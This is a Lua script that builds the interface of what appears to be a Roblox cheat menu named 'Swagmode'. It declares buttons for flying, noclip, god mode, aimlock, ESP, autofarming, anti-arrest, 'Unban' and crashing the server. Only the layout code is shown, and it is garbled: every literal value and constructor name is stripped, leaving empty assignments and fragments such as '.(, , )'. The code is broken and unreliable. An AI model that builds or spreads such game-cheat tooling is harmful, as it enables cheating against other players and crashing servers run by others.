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:()
.Loaded:()
success,err = (()
Swagmode = .()
SwagmodeFrame = .()
MenuFrame = .()
TogglesButton = .()
QuickTpButton = .()
SideButton = .()
imiecredits = .()
Swagmode_2 = .()
UIGradient = .()
Frame = .()
MainButton = .()
SellingButton = .()
DropShadowHolder = .()
DropShadow = .()
TopLine = .()
SideInfo = .()
TargetImage = .()
UICorner = .()
SetNearestButton = .()
CashLabel = .()
TargetTextbox = .()
BountyLabel = .()
CrewLabel = .()
Buttons = .()
MainFrame = .()
FreeFists = .()
GodBlock = .()
GodArmor = .()
FlySpeedMinus = .()
Fly = .()
Fling = .()
NoRecoil = .()
GoTo = .()
View = .()
Target = .()
FlySpeedPlus = .()
NoClip = .()
FlyMode = .()
Reach = .()
Headless = .()
QuickTpFrame = .()
GunShop2 = .()
PrevPosition = .()
Bank = .()
SafeZone1 = .()
SetSpawn = .()
Sewer = .()
Playground = .()
GasStation = .()
LavaBase = .()
SavePos = .()
SafeZone2 = .()
UFO = .()
TacoShop = .()
LoadPos = .()
GunShop1 = .()
SideScriptsFrame = .()
Aimlock = .()
Users = .()
MoneyESP = .()
FullGod = .()
Autofarm = .()
HighTool = .()
Esp = .()
LastingBullets = .()
Stamina = .()
Spin = .()
Unban = .()
SwagUsers = .()
LockTools = .()
Invisible = .()
InfTools = .()
TogglesFrame = .()
QToTp = .()
QToTpColor = .()
HideBlock = .()
HideBlockColor = .()
HideUser = .()
HideUserColor = .()
AutoStomp = .()
AutoStompColor = .()
RocketRide = .()
RocketRideColor = .()
AntiArrest = .()
AntiArrestColor = .()
AntiGrab = .()
AntiGrabColor = .()
AutoDrop = .()
AutoDropColor = .()
AntiStomp = .()
AntiStompColor = .()
AutoBlock = .()
AutoBlockColor = .()
CashAura = .()
CashAuraColor = .()
AntiEffects = .()
AntiEffectsColor = .()
AltArmor = .()
AltArmorColor = .()
AntiBag = .()
AntiBagColor = .()
AntiSlow = .()
AntiSlowColor = .()
SellingFrame = .()
CashTextbox = .()
CashDropperTitle = .()
CalculateButton = .()
DropToggleButton = .()
CashDroppedLabel = .()
CashAtEndLabel = .()
Frame_2 = .()
CrashServerButton = .()
Swagmode.Name =
Swagmode.Parent = .CoreGui
Swagmode.ZIndexBehavior = .ZIndexBehavior.Sibling
SwagmodeFrame.Name =
SwagmodeFrame.Parent = Swagmode
SwagmodeFrame.BackgroundColor3 = .(, , )
SwagmodeFrame.BorderSizePixel =
SwagmodeFrame.Position = .(, , , )
SwagmodeFrame.Size = .(, , , )
MenuFrame.Name =
MenuFrame.Parent = SwagmodeFrame
MenuFrame.BackgroundColor3 = .(, , )
MenuFrame.BorderSizePixel =
MenuFrame.Size = .(, , , )
TogglesButton.Name =
TogglesButton.Parent = MenuFrame
TogglesButton.BackgroundColor3 = .(, , )
TogglesButton.BorderSizePixel =
TogglesButton.Position = .(, , , )
TogglesButton.Size = .(, , , )
TogglesButton.AutoButtonColor =
TogglesButton.Font = .Font.GothamBlack
TogglesButton.Text =
TogglesButton.TextColor3 = .(, , )
TogglesButton.TextSize =
QuickTpButton.Name =
QuickTpButton.Parent = MenuFrame
QuickTpButton.BackgroundColor3 = .(, , )
QuickTpButton.BorderSizePixel =
QuickTpButton.Position = .(, , , )
QuickTpButton.Size = .(, , , )
QuickTpButton.AutoButtonColor =
QuickTpButton.Font = .Font.GothamBlack
QuickTpButton.Text =
QuickTpButton.TextColor3 = .(, , )
QuickTpButton.TextSize =
SideButton.Name =
SideButton.Parent = MenuFrame
SideButton.BackgroundColor3 = .(, , )
SideButton.BorderSizePixel =
SideButton.Position = .(, , , )
SideButton.Size = .(, , , )
SideButton.AutoButtonColor =
SideButton.Font = .Font.GothamBlack
SideButton.Text =
SideButton.TextColor3 = .(, , )
SideButton.TextSize =
imiecredits.Name =
imiecredits.Parent = MenuFrame
imiecredits.BackgroundColor3 = .(, , )
imiecredits.BackgroundTransparency =
imiecredits.BorderSizePixel =
imiecredits.Position = .(, , , )
imiecredits.Size = .(, , , )
imiecredits.Font = .Font.GothamBold
imiecredits.Text =
imiecredits.TextColor3 = .(, , )
imiecredits.TextSize =
imiecredits.TextXAlignment = .TextXAlignment.Left
imiecredits.TextYAlignment = .TextYAlignment.Top
Swagmode_2.Name =
Swagmode_2.Parent = MenuFrame
Swagmode_2.BackgroundColor3 = .(, , )
Swagmode_2.BackgroundTransparency =
Swagmode_2.Position = .(, , , )
Swagmode_2.Size = .(, , , )
Swagmode_2.Font = .Font.GothamBlack
Swagmode_2.Text =
Swagmode_2.TextColor3 = .(, , )
Swagmode_2.TextSize =
UIGradient.Color = ColorSequence.{ColorSequenceKeypoint.(, .(, , )), ColorSequenceKeypoint.(, .(, , ))}
UIGradient.Offset = .(, )
UIGradient.Parent = Swagmode_2
Frame.Parent = MenuFrame
Frame.BackgroundColor3 = .(, , )
Frame.BorderSizePixel =
Frame.Position = .(, , , )
Frame.Size = .(, , , )
MainButton.Name =
MainButton.Parent = MenuFrame
MainButton.BackgroundColor3 = .(, , )
MainButton.BorderSizePixel =
MainButton.Position = .(, , , )
MainButton.Size = .(, , , )
MainButton.AutoButtonColor =
MainButton.Font = .Font.GothamBlack
MainButton.Text =
MainButton.TextColor3 = .(, , )
MainButton.TextSize =
SellingButton.Name =
SellingButton.Parent = MenuFrame
SellingButton.BackgroundColor3 = .(, , )
SellingButton.BorderSizePixel =
SellingButton.Position = .(, , , )
SellingButton.Size = .(, , , )
SellingButton.AutoButtonColor =
SellingButton.Font = .Font.GothamBlack
SellingButton.Text =
SellingButton.TextColor3 = .(, , )
SellingButton.TextSize =
DropShadowHolder.Name =
DropShadowHolder.Parent = SwagmodeFrame
DropShadowHolder.BackgroundTransparency =
DropShadowHolder.BorderSizePixel =
DropShadowHolder.Size = .(, , , )
DropShadowHolder.ZIndex =
DropShadow.Name =
DropShadow.Parent = DropShadowHolder
DropShadow.AnchorPoint = .(, )
DropShadow.BackgroundTransparency =
DropShadow.BorderSizePixel =
DropShadow.Position = .(, , , )
DropShadow.Size = .(, , , )
DropShadow.ZIndex =
DropShadow.Image =
DropShadow.ImageColor3 = .(, , )
DropShadow.ImageTransparency =
DropShadow.ScaleType = .ScaleType.Slice
DropShadow.SliceCenter = Rect.(, , , )
TopLine.Name =
TopLine.Parent = SwagmodeFrame
TopLine.BackgroundColor3 = .(, , )
TopLine.BorderSizePixel =
TopLine.Position = .(, , , )
TopLine.Size = .(, , , )
SideInfo.Name =
SideInfo.Parent = SwagmodeFrame
SideInfo.BackgroundColor3 = .(, , )
SideInfo.BorderSizePixel =
SideInfo.Position = .(, , , )
SideInfo.Size = .(, , , )
TargetImage.Name =
TargetImage.Parent = SideInfo
TargetImage.BackgroundColor3 = .(, , )
TargetImage.Position = .(, , , )
TargetImage.Size = .(, , , )
TargetImage.Image =
TargetImage.ImageColor3 = .(, , )
UICorner.CornerRadius = .(, )
UICorner.Parent = TargetImage
SetNearestButton.Name =
SetNearestButton.Parent = SideInfo
SetNearestButton.BackgroundColor3 = .(, , )
SetNearestButton.BorderSizePixel =
SetNearestButton.Position = .(, , , )
SetNearestButton.Size = .(, , , )
SetNearestButton.AutoButtonColor =
SetNearestButton.Font = .Font.GothamBlack
SetNearestButton.Text =
SetNearestButton.TextColor3 = .(, , )
SetNearestButton.TextSize =
CashLabel.Name =
CashLabel.Parent = SideInfo
CashLabel.BackgroundColor3 = .(, , )
CashLabel.BorderSizePixel =
CashLabel.Position = .(, , , )
CashLabel.Size = .(, , , )
CashLabel.Font = .Font.SourceSans
CashLabel.Text =
CashLabel.TextColor3 = .(, , )
CashLabel.TextSize =
TargetTextbox.Name =
TargetTextbox.Parent = SideInfo
TargetTextbox.BackgroundColor3 = .(, , )
TargetTextbox.BorderSizePixel =
TargetTextbox.Position = .(, , , )
TargetTextbox.Size = .(, , , )
TargetTextbox.Font = .Font.GothamBlack
TargetTextbox.PlaceholderColor3 = .(, , )
TargetTextbox.Text =
TargetTextbox.TextColor3 = .(, , )
TargetTextbox.TextSize =
TargetTextbox.TextWrapped =
TargetTextbox.TextScaled =
BountyLabel.Name =
BountyLabel.Parent = SideInfo
BountyLabel.BackgroundColor3 = .(, , )
BountyLabel.BorderSizePixel =
BountyLabel.Position = .(, , , )
BountyLabel.Size = .(, , , )
BountyLabel.Font = .Font.SourceSans
BountyLabel.Text =
BountyLabel.TextColor3 = .(, , )
BountyLabel.TextSize =
CrewLabel.Name =
CrewLabel.Parent = SideInfo
CrewLabel.BackgroundColor3 = .(, , )
CrewLabel.BorderSizePixel =
CrewLabel.Position = .(, , , )
CrewLabel.Size = .(, , , )
CrewLabel.Font = .Font.SourceSans
CrewLabel.Text =
CrewLabel.TextColor3 = .(, , )
CrewLabel.TextSize =
CrewLabel.TextScaled =
Buttons.Name =
Buttons.Parent = SwagmodeFrame
Buttons.BackgroundColor3 = .(, , )
Buttons.BackgroundTransparency =
Buttons.Position = .(, , , )
Buttons.Size = .(, , , )
MainFrame.Name =
MainFrame.Parent = Buttons
MainFrame.BackgroundColor3 = .(, , )
MainFrame.BackgroundTransparency =
MainFrame.Size = .(, , , )
MainFrame.Visible =
FreeFists.Name =
FreeFists.Parent = MainFrame
FreeFists.BackgroundColor3 = .(, , )
FreeFists.BorderSizePixel =
FreeFists.Position = .(, , , )
FreeFists.Size = .(, , , )
FreeFists.Font = .Font.GothamBlack
FreeFists.Text =
FreeFists.TextColor3 = .(, , )
FreeFists.TextSize =
GodBlock.Name =
GodBlock.Parent = MainFrame
GodBlock.BackgroundColor3 = .(, , )
GodBlock.BorderSizePixel =
GodBlock.Position = .(, , , )
GodBlock.Size = .(, , , )
GodBlock.Font = .Font.GothamBlack
GodBlock.Text =
GodBlock.TextColor3 = .(, , )
GodBlock.TextSize =
GodArmor.Name =
GodArmor.Parent = MainFrame
GodArmor.BackgroundColor3 = .(, , )
GodArmor.BorderSizePixel =
GodArmor.Position = .(, , , )
GodArmor.Size = .(, , , )
GodArmor.Font = .Font.GothamBlack
GodArmor.Text =
GodArmor.TextColor3 = .(, , )
GodArmor.TextSize =
FlySpeedMinus.Name =
FlySpeedMinus.Parent = MainFrame
FlySpeedMinus.BackgroundColor3 = .(, , )
FlySpeedMinus.BorderSizePixel =
FlySpeedMinus.Position = .(, , , )
FlySpeedMinus.Size = .(, , , )
FlySpeedMinus.Font = .Font.GothamBlack
FlySpeedMinus.Text =
FlySpeedMinus.TextColor3 = .(, , )
FlySpeedMinus.TextSize =
Fly.Name =
Fly.Parent = MainFrame
Fly.BackgroundColor3 = .(, , )
Fly.BorderSizePixel =
Fly.Position = .(, , , )
Fly.Size = .(, , , )
Fly.Font = .Font.GothamBlack
Fly.Text =
Fly.TextColor3 = .(, , )
Fly.TextSize =
Fling.Name =
Fling.Parent = MainFrame
Fling.BackgroundColor3 = .(, , )
Fling.BorderSizePixel =
Fling.Position = .(, , , )
Fling.Size = .(, , , )
Fling.Font = .Font.GothamBlack
Fling.Text =
Fling.TextColor3 = .(, , )
Fling.TextSize =
NoRecoil.Name =
NoRecoil.Parent = MainFrame
NoRecoil.BackgroundColor3 = .(, , )
NoRecoil.BorderSizePixel =
NoRecoil.Position = .(, , , )
NoRecoil.Size = .(, , , )
NoRecoil.Font = .Font.GothamBlack
NoRecoil.Text =
NoRecoil.TextColor3 = .(, , )
NoRecoil.TextSize =
GoTo.Name =
GoTo.Parent = MainFrame
GoTo.BackgroundColor3 = .(, , )
GoTo.BorderSizePixel =
GoTo.Position = .(, , , )
GoTo.Size = .(, , , )
GoTo.Font = .Font.GothamBlack
GoTo.Text =
GoTo.TextColor3 = .(, , )
GoTo.TextSize =
View.Name =
View.Parent = MainFrame
View.BackgroundColor3 = .(, , )
View.BorderSizePixel =
View.Position = .(, , , )
View.Size = .(, , , )
View.Font = .Font.GothamBlack
View.Text =
View.TextColor3 = .(, , )
View.TextSize =
Target.Name =
Target.Parent = MainFrame
Target.BackgroundColor3 = .(, , )
Target.BorderSizePixel =
Target.Position = .(, , , )
Target.Size = .(, , , )
Target.Font = .Font.GothamBlack
Target.Text =
Target.TextColor3 = .(, , )
Target.TextSize =
FlySpeedPlus.Name =
FlySpeedPlus.Parent = MainFrame
FlySpeedPlus.BackgroundColor3 = .(, , )
FlySpeedPlus.BorderSizePixel =
FlySpeedPlus.Position = .(, , , )
FlySpeedPlus.Size = .(, , , )
FlySpeedPlus.Font = .Font.GothamBlack
FlySpeedPlus.Text =
FlySpeedPlus.TextColor3 = .(, , )
FlySpeedPlus.TextSize =
NoClip.Name =
NoClip.Parent = MainFrame
NoClip.BackgroundColor3 = .(, , )
NoClip.BorderSizePixel =
NoClip.Position = .(, , , )
NoClip.Size = .(, , , )
NoClip.Font = .Font.GothamBlack
NoClip.Text =
NoClip.TextColor3 = .(, , )
NoClip.TextSize =
FlyMode.Name =
FlyMode.Parent = MainFrame
FlyMode.BackgroundColor3 = .(, , )
FlyMode.BorderSizePixel =
FlyMode.Position = .(, , , )
FlyMode.Size = .(, , , )
FlyMode.Font = .Font.GothamBlack
FlyMode.Text =
FlyMode.TextColor3 = .(, , )
FlyMode.TextSize =
Reach.Name =
Reach.Parent = MainFrame
Reach.BackgroundColor3 = .(, , )
Reach.BorderSizePixel =
Reach.Position = .(, , , )
Reach.Size = .(, , , )
Reach.Font = .Font.GothamBlack
Reach.Text =
Reach.TextColor3 = .(, , )
Reach.TextSize =
Headless.Name =
Headless.Parent = MainFrame
Headless.BackgroundColor3 = .(, , )
Headless.BorderSizePixel =
Headless.Position = .(, , , )
Headless.Size = .(, , , )
Headless.Font = .Font.GothamBlack
Headless.Text =
Headless.TextColor3 = .(, , )
Headless.TextSize =
QuickTpFrame.Name =
QuickTpFrame.Parent = Buttons
QuickTpFrame.BackgroundColor3 = .(, , )
QuickTpFrame.BackgroundTransparency =
QuickTpFrame.Size = .(, , , )
QuickTpFrame.Visible =
GunShop2.Name =
GunShop2.Parent = QuickTpFrame
GunShop2.BackgroundColor3 = .(, , )
GunShop2.BorderSizePixel =
GunShop2.Position = .(, , , )
GunShop2.Size = .(, , , )
GunShop2.Font = .Font.GothamBlack
GunShop2.Text =
GunShop2.TextColor3 = .(, , )
GunShop2.TextSize =
PrevPosition.Name =
PrevPosition.Parent = QuickTpFrame
PrevPosition.BackgroundColor3 = .(, , )
PrevPosition.BorderSizePixel =
PrevPosition.Position = .(, , , )
PrevPosition.Size = .(, , , )
PrevPosition.Font = .Font.GothamBlack
PrevPosition.Text =
PrevPosition.TextColor3 = .(, , )
PrevPosition.TextSize =
Bank.Name =
Bank.Parent = QuickTpFrame
Bank.BackgroundColor3 = .(, , )
Bank.BorderSizePixel =
Bank.Position = .(, , , )
Bank.Size = .(, , , )
Bank.Font = .Font.GothamBlack
Bank.Text =
Bank.TextColor3 = .(, , )
Bank.TextSize =
SafeZone1.Name =
SafeZone1.Parent = QuickTpFrame
SafeZone1.BackgroundColor3 = .(, , )
SafeZone1.BorderSizePixel =
SafeZone1.Position = .(, , , )
SafeZone1.Size = .(, , , )
SafeZone1.Font = .Font.GothamBlack
SafeZone1.Text =
SafeZone1.TextColor3 = .(, , )
SafeZone1.TextSize =
SetSpawn.Name =
SetSpawn.Parent = QuickTpFrame
SetSpawn.BackgroundColor3 = .(, , )
SetSpawn.BorderSizePixel =
SetSpawn.Position = .(, , , )
SetSpawn.Size = .(, , , )
SetSpawn.Font = .Font.GothamBlack
SetSpawn.Text =
SetSpawn.TextColor3 = .(, , )
SetSpawn.TextSize =
Sewer.Name =
Sewer.Parent = QuickTpFrame
Sewer.BackgroundColor3 = .(, , )
Sewer.BorderSizePixel =
Sewer.Position = .(, , , )
Sewer.Size = .(, , , )
Sewer.Font = .Font.GothamBlack
Sewer.Text =
Sewer.TextColor3 = .(, , )
Sewer.TextSize =
Playground.Name =
Playground.Parent = QuickTpFrame
Playground.BackgroundColor3 = .(, , )
Playground.BorderSizePixel =
Playground.Position = .(, , , )
Playground.Size = .(, , , )
Playground.Font = .Font.GothamBlack
Playground.Text =
Playground.TextColor3 = .(, , )
Playground.TextSize =
GasStation.Name =
GasStation.Parent = QuickTpFrame
GasStation.BackgroundColor3 = .(, , )
GasStation.BorderSizePixel =
GasStation.Position = .(, , , )
GasStation.Size = .(, , , )
GasStation.Font = .Font.GothamBlack
GasStation.Text =
GasStation.TextColor3 = .(, , )
GasStation.TextSize =
LavaBase.Name =
LavaBase.Parent = QuickTpFrame
LavaBase.BackgroundColor3 = .(, , )
LavaBase.BorderSizePixel =
LavaBase.Position = .(, , , )
LavaBase.Size = .(, , , )
LavaBase.Font = .Font.GothamBlack
LavaBase.Text =
LavaBase.TextColor3 = .(, , )
LavaBase.TextSize =
SavePos.Name =
SavePos.Parent = QuickTpFrame
SavePos.BackgroundColor3 = .(, , )
SavePos.BorderSizePixel =
SavePos.Position = .(, , , )
SavePos.Size = .(, , , )
SavePos.Font = .Font.GothamBlack
SavePos.Text =
SavePos.TextColor3 = .(, , )
SavePos.TextSize =
SafeZone2.Name =
SafeZone2.Parent = QuickTpFrame
SafeZone2.BackgroundColor3 = .(, , )
SafeZone2.BorderSizePixel =
SafeZone2.Position = .(, , , )
SafeZone2.Size = .(, , , )
SafeZone2.Font = .Font.GothamBlack
SafeZone2.Text =
SafeZone2.TextColor3 = .(, , )
SafeZone2.TextSize =
UFO.Name =
UFO.Parent = QuickTpFrame
UFO.BackgroundColor3 = .(, , )
UFO.BorderSizePixel =
UFO.Position = .(, , , )
UFO.Size = .(, , , )
UFO.Font = .Font.GothamBlack
UFO.Text =
UFO.TextColor3 = .(, , )
UFO.TextSize =
TacoShop.Name =
TacoShop.Parent = QuickTpFrame
TacoShop.BackgroundColor3 = .(, , )
TacoShop.BorderSizePixel =
TacoShop.Position = .(, , , )
TacoShop.Size = .(, , , )
TacoShop.Font = .Font.GothamBlack
TacoShop.Text =
TacoShop.TextColor3 = .(, , )
TacoShop.TextSize =
LoadPos.Name =
LoadPos.Parent = QuickTpFrame
LoadPos.BackgroundColor3 = .(, , )
LoadPos.BorderSizePixel =
LoadPos.Position = .(, , , )
LoadPos.Size = .(, , , )
LoadPos.Font = .Font.GothamBlack
LoadPos.Text =
LoadPos.TextColor3 = .(, , )
LoadPos.TextSize =
GunShop1.Name =
GunShop1.Parent = QuickTpFrame
GunShop1.BackgroundColor3 = .(, , )
GunShop1.BorderSizePixel =
GunShop1.Position = .(, , , )
GunShop1.Size = .(, , , )
GunShop1.Font = .Font.GothamBlack
GunShop1.Text =
GunShop1.TextColor3 = .(, , )
GunShop1.TextSize =
SideScriptsFrame.Name =
SideScriptsFrame.Parent = Buttons
SideScriptsFrame.BackgroundColor3 = .(, , )
SideScriptsFrame.BackgroundTransparency =
SideScriptsFrame.Size = .(, , , )
SideScriptsFrame.Visible =
Aimlock.Name =
Aimlock.Parent = SideScriptsFrame
Aimlock.BackgroundColor3 = .(, , )
Aimlock.BorderSizePixel =
Aimlock.Position = .(, , , )
Aimlock.Size = .(, , , )
Aimlock.Font = .Font.GothamBlack
Aimlock.Text =
Aimlock.TextColor3 = .(, , )
Aimlock.TextSize =
Users.Name =
Users.Parent = SideScriptsFrame
Users.BackgroundColor3 = .(, , )
Users.BorderSizePixel =
Users.Position = .(, , , )
Users.Size = .(, , , )
Users.Font = .Font.GothamBlack
Users.Text =
Users.TextColor3 = .(, , )
Users.TextSize =
MoneyESP.Name =
MoneyESP.Parent = SideScriptsFrame
MoneyESP.BackgroundColor3 = .(, , )
MoneyESP.BorderSizePixel =
MoneyESP.Position = .(, , , )
MoneyESP.Size = .(, , , )
MoneyESP.Font = .Font.GothamBlack
MoneyESP.Text =
MoneyESP.TextColor3 = .(, , )
MoneyESP.TextSize =
FullGod.Name =
FullGod.Parent = SideScriptsFrame
FullGod.BackgroundColor3 = .(, , )
FullGod.BorderSizePixel =
FullGod.Position = .(, , , )
FullGod.Size = .(, , , )
FullGod.Font = .Font.GothamBlack
FullGod.Text =
FullGod.TextColor3 = .(, , )
FullGod.TextSize =
Autofarm.Name =
Autofarm.Parent = SideScriptsFrame
Autofarm.BackgroundColor3 = .(, , )
Autofarm.BorderSizePixel =
Autofarm.Position = .(, , , )
Autofarm.Size = .(, , , )
Autofarm.Font = .Font.GothamBlack
Autofarm.Text =
Autofarm.TextColor3 = .(, , )
Autofarm.TextSize =
HighTool.Name =
HighTool.Parent = SideScriptsFrame
HighTool.BackgroundColor3 = .(, , )
HighTool.BorderSizePixel =
HighTool.Position = .(, , , )
HighTool.Size = .(, , , )
HighTool.Font = .Font.GothamBlack
HighTool.Text =
HighTool.TextColor3 = .(, , )
HighTool.TextSize =
Esp.Name =
Esp.Parent = SideScriptsFrame
Esp.BackgroundColor3 = .(, , )
Esp.BorderSizePixel =
Esp.Position = .(, , , )
Esp.Size = .(, , , )
Esp.Font = .Font.GothamBlack
Esp.Text =
Esp.TextColor3 = .(, , )
Esp.TextSize =
LastingBullets.Name =
LastingBullets.Parent = SideScriptsFrame
LastingBullets.BackgroundColor3 = .(, , )
LastingBullets.BorderSizePixel =
LastingBullets.Position = .(, , , )
LastingBullets.Size = .(, , , )
LastingBullets.Font = .Font.GothamBlack
LastingBullets.Text =
LastingBullets.TextColor3 = .(, , )
LastingBullets.TextSize =
Stamina.Name =
Stamina.Parent = SideScriptsFrame
Stamina.BackgroundColor3 = .(, , )
Stamina.BorderSizePixel =
Stamina.Position = .(, , , )
Stamina.Size = .(, , , )
Stamina.Font = .Font.GothamBlack
Stamina.Text =
Stamina.TextColor3 = .(, , )
Stamina.TextSize =
Spin.Name =
Spin.Parent = SideScriptsFrame
Spin.BackgroundColor3 = .(, , )
Spin.BorderSizePixel =
Spin.Position = .(, , , )
Spin.Size = .(, , , )
Spin.Font = .Font.GothamBlack
Spin.Text =
Spin.TextColor3 = .(, , )
Spin.TextSize =
Unban.Name =
Unban.Parent = SideScriptsFrame
Unban.BackgroundColor3 = .(, , )
Unban.BorderSizePixel =
Unban.Position = .(, , , )
Unban.Size = .(, , , )
Unban.Font = .Font.GothamBlack
Unban.Text =
Unban.TextColor3 = .(, , )
Unban.TextSize =
SwagUsers.Name =
SwagUsers.Parent = SideScriptsFrame
SwagUsers.BackgroundColor3 = .(, , )
SwagUsers.BorderSizePixel =
SwagUsers.Position = .(, , , )
SwagUsers.Size = .(, , , )
SwagUsers.Font = .Font.GothamBlack
SwagUsers.Text =
SwagUsers.TextColor3 = .(, , )
SwagUsers.TextSize =
LockTools.Name =
LockTools.Parent = SideScriptsFrame
LockTools.BackgroundColor3 = .(, , )
LockTools.BorderSizePixel =
LockTools.Position = .(, , , )
LockTools.Size = .(, , , )
LockTools.Font = .Font.GothamBlack
LockTools.Text =
LockTools.TextColor3 = .(, , )
LockTools.TextSize =
Invisible.Name =
Invisible.Parent = SideScriptsFrame
Invisible.BackgroundColor3 = .(, , )
Invisible.BorderSizePixel =
Invisible.Position = .(, , , )
Invisible.Size = .(, , , )
Invisible.Font = .Font.GothamBlack
Invisible.Text =
Invisible.TextColor3 = .(, , )
Invisible.TextSize =
InfTools.Name =
InfTools.Parent = SideScriptsFrame
InfTools.BackgroundColor3 = .(, , )
InfTools.BorderSizePixel =
InfTools.Position = .(, , , )
InfTools.Size = .(, , , )
InfTools.Font = .Font.GothamBlack
InfTools.Text =
InfTools.TextColor3 = .(, , )
InfTools.TextSize =
TogglesFrame.Name =
TogglesFrame.Parent = Buttons
TogglesFrame.BackgroundColor3 = .(, , )
TogglesFrame.BackgroundTransparency =
TogglesFrame.Size = .(, , , )
TogglesFrame.Visible =
QToTp.Name =
QToTp.Parent = TogglesFrame
QToTp.BackgroundColor3 = .(, , )
QToTp.BorderSizePixel =
QToTp.Position = .(, , , )
QToTp.Size = .(, , , )
QToTp.Font = .Font.GothamBlack
QToTp.Text =
QToTp.TextColor3 = .(, , )
QToTp.TextSize =
QToTpColor.Name =
QToTpColor.Parent = QToTp
QToTpColor.BackgroundColor3 = .(, , )
QToTpColor.BorderSizePixel =
QToTpColor.Size = .(, , , )
QToTpColor.Font = .Font.SourceSans
QToTpColor.Text =
QToTpColor.TextColor3 = .(, , )
QToTpColor.TextSize =
HideBlock.Name =
HideBlock.Parent = TogglesFrame
HideBlock.BackgroundColor3 = .(, , )
HideBlock.BorderSizePixel =
HideBlock.Position = .(, , , )
HideBlock.Size = .(, , , )
HideBlock.Font = .Font.GothamBlack
HideBlock.Text =
HideBlock.TextColor3 = .(, , )
HideBlock.TextSize =
HideBlockColor.Name =
HideBlockColor.Parent = HideBlock
HideBlockColor.BackgroundColor3 = .(, , )
HideBlockColor.BorderSizePixel =
HideBlockColor.Size = .(, , , )
HideBlockColor.Font = .Font.SourceSans
HideBlockColor.Text =
HideBlockColor.TextColor3 = .(, , )
HideBlockColor.TextSize =
HideUser.Name =
HideUser.Parent = TogglesFrame
HideUser.BackgroundColor3 = .(, , )
HideUser.BorderSizePixel =
HideUser.Position = .(, , , )
HideUser.Size = .(, , , )
HideUser.Font = .Font.GothamBlack
HideUser.Text =
HideUser.TextColor3 = .(, , )
HideUser.TextSize =
HideUserColor.Name =
HideUserColor.Parent = HideUser
HideUserColor.BackgroundColor3 = .(, , )
HideUserColor.BorderSizePixel =
HideUserColor.Size = .(, , , )
HideUserColor.Font = .Font.SourceSans
HideUserColor.Text =
HideUserColor.TextColor3 = .(, , )
HideUserColor.TextSize =
AutoStomp.Name =
AutoStomp.Parent = TogglesFrame
AutoStomp.BackgroundColor3 = .(, , )
AutoStomp.BorderSizePixel =
AutoStomp.Position = .(, , , )
AutoStomp.Size = .(, , , )
AutoStomp.Font = .Font.GothamBlack
AutoStomp.Text =
AutoStomp.TextColor3 = .(, , )
AutoStomp.TextSize =
AutoStompColor.Name =
AutoStompColor.Parent = AutoStomp
AutoStompColor.BackgroundColor3 = .(, , )
AutoStompColor.BorderSizePixel =
AutoStompColor.Size = .(, , , )
AutoStompColor.Font = .Font.SourceSans
AutoStompColor.Text =
AutoStompColor.TextColor3 = .(, , )
AutoStompColor.TextSize =
RocketRide.Name =
RocketRide.Parent = TogglesFrame
RocketRide.BackgroundColor3 = .(, , )
RocketRide.BorderSizePixel =
RocketRide.Position = .(, , , )
RocketRide.Size = .(, , , )
RocketRide.Font = .Font.GothamBlack
RocketRide.Text =
RocketRide.TextColor3 = .(, , )
RocketRide.TextSize =
RocketRideColor.Name =
RocketRideColor.Parent = RocketRide
RocketRideColor.BackgroundColor3 = .(, , )
RocketRideColor.BorderSizePixel =
RocketRideColor.Size = .(, , , )
RocketRideColor.Font = .Font.SourceSans
RocketRideColor.Text =
RocketRideColor.TextColor3 = .(, , )
RocketRideColor.TextSize =
AntiArrest.Name =
AntiArrest.Parent = TogglesFrame
AntiArrest.BackgroundColor3 = .(, , )
AntiArrest.BorderSizePixel =
AntiArrest.Position = .(, , , )
AntiArrest.Size = .(, , , )
AntiArrest.Font = .Font.GothamBlack
AntiArrest.Text =
AntiArrest.TextColor3 = .(, , )
AntiArrest.TextSize =
AntiArrestColor.Name =
AntiArrestColor.Parent = AntiArrest
AntiArrestColor.BackgroundColor3 = .(, , )
AntiArrestColor.BorderSizePixel =
AntiArrestColor.Size = .(, , , )
AntiArrestColor.Font = .Font.SourceSans
AntiArrestColor.Text =
AntiArrestColor.TextColor3 = .(, , )
AntiArrestColor.TextSize =
AntiGrab.Name =
AntiGrab.Parent = TogglesFrame
AntiGrab.BackgroundColor3 = .(, , )
AntiGrab.BorderSizePixel =
AntiGrab.Position = .(, , , )
AntiGrab.Size = .(, , , )
AntiGrab.Font = .Font.GothamBlack
AntiGrab.Text =
AntiGrab.TextColor3 = .(, , )
AntiGrab.TextSize =
AntiGrabColor.Name =
AntiGrabColor.Parent = AntiGrab
AntiGrabColor.BackgroundColor3 = .(, , )
AntiGrabColor.BorderSizePixel =
AntiGrabColor.Size = .(, , , )
AntiGrabColor.Font = .Font.SourceSans
AntiGrabColor.Text =
AntiGrabColor.TextColor3 = .(, , )
AntiGrabColor.TextSize =
AutoDrop.Name =
AutoDrop.Parent = TogglesFrame
AutoDrop.BackgroundColor3 = .(, , )
AutoDrop.BorderSizePixel =
AutoDrop.Position = .(, , , )
AutoDrop.Size = .(, , , )
AutoDrop.Font = .Font.GothamBlack
AutoDrop.Text =
AutoDrop.TextColor3 = .(, , )
AutoDrop.TextSize =
AutoDropColor.Name =
AutoDropColor.Parent = AutoDrop
AutoDropColor.BackgroundColor3 = .(, , )
AutoDropColor.BorderSizePixel =
AutoDropColor.Size = .(, , , )
AutoDropColor.Font = .Font.SourceSans
AutoDropColor.Text =
AutoDropColor.TextColor3 = .(, , )
AutoDropColor.TextSize =
AntiStomp.Name =
AntiStomp.Parent = TogglesFrame
AntiStomp.BackgroundColor3 = .(, , )
AntiStomp.BorderSizePixel =
AntiStomp.Position = .(, , , )
AntiStomp.Size = .(, , , )
AntiStomp.Font = .Font.GothamBlack
AntiStomp.Text =
AntiStomp.TextColor3 = .(, , )
AntiStomp.TextSize =
AntiStompColor.Name =
AntiStompColor.Parent = AntiStomp
AntiStompColor.BackgroundColor3 = .(, , )
AntiStompColor.BorderSizePixel =
AntiStompColor.Size = .(, , , )
AntiStompColor.Font = .Font.SourceSans
AntiStompColor.Text =
AntiStompColor.TextColor3 = .(, , )
AntiStompColor.TextSize =
AutoBlock.Name =
AutoBlock.Parent = TogglesFrame
AutoBlock.BackgroundColor3 = .(, , )
AutoBlock.BorderSizePixel =
AutoBlock.Position = .(, , , )
AutoBlock.Size = .(, , , )
AutoBlock.Font = .Font.GothamBlack
AutoBlock.Text =
AutoBlock.TextColor3 = .(, , )
AutoBlock.TextSize =
AutoBlockColor.Name =
AutoBlockColor.Parent = AutoBlock
AutoBlockColor.BackgroundColor3 = .(, , )
AutoBlockColor.BorderSizePixel =
AutoBlockColor.Size = .(, , , )
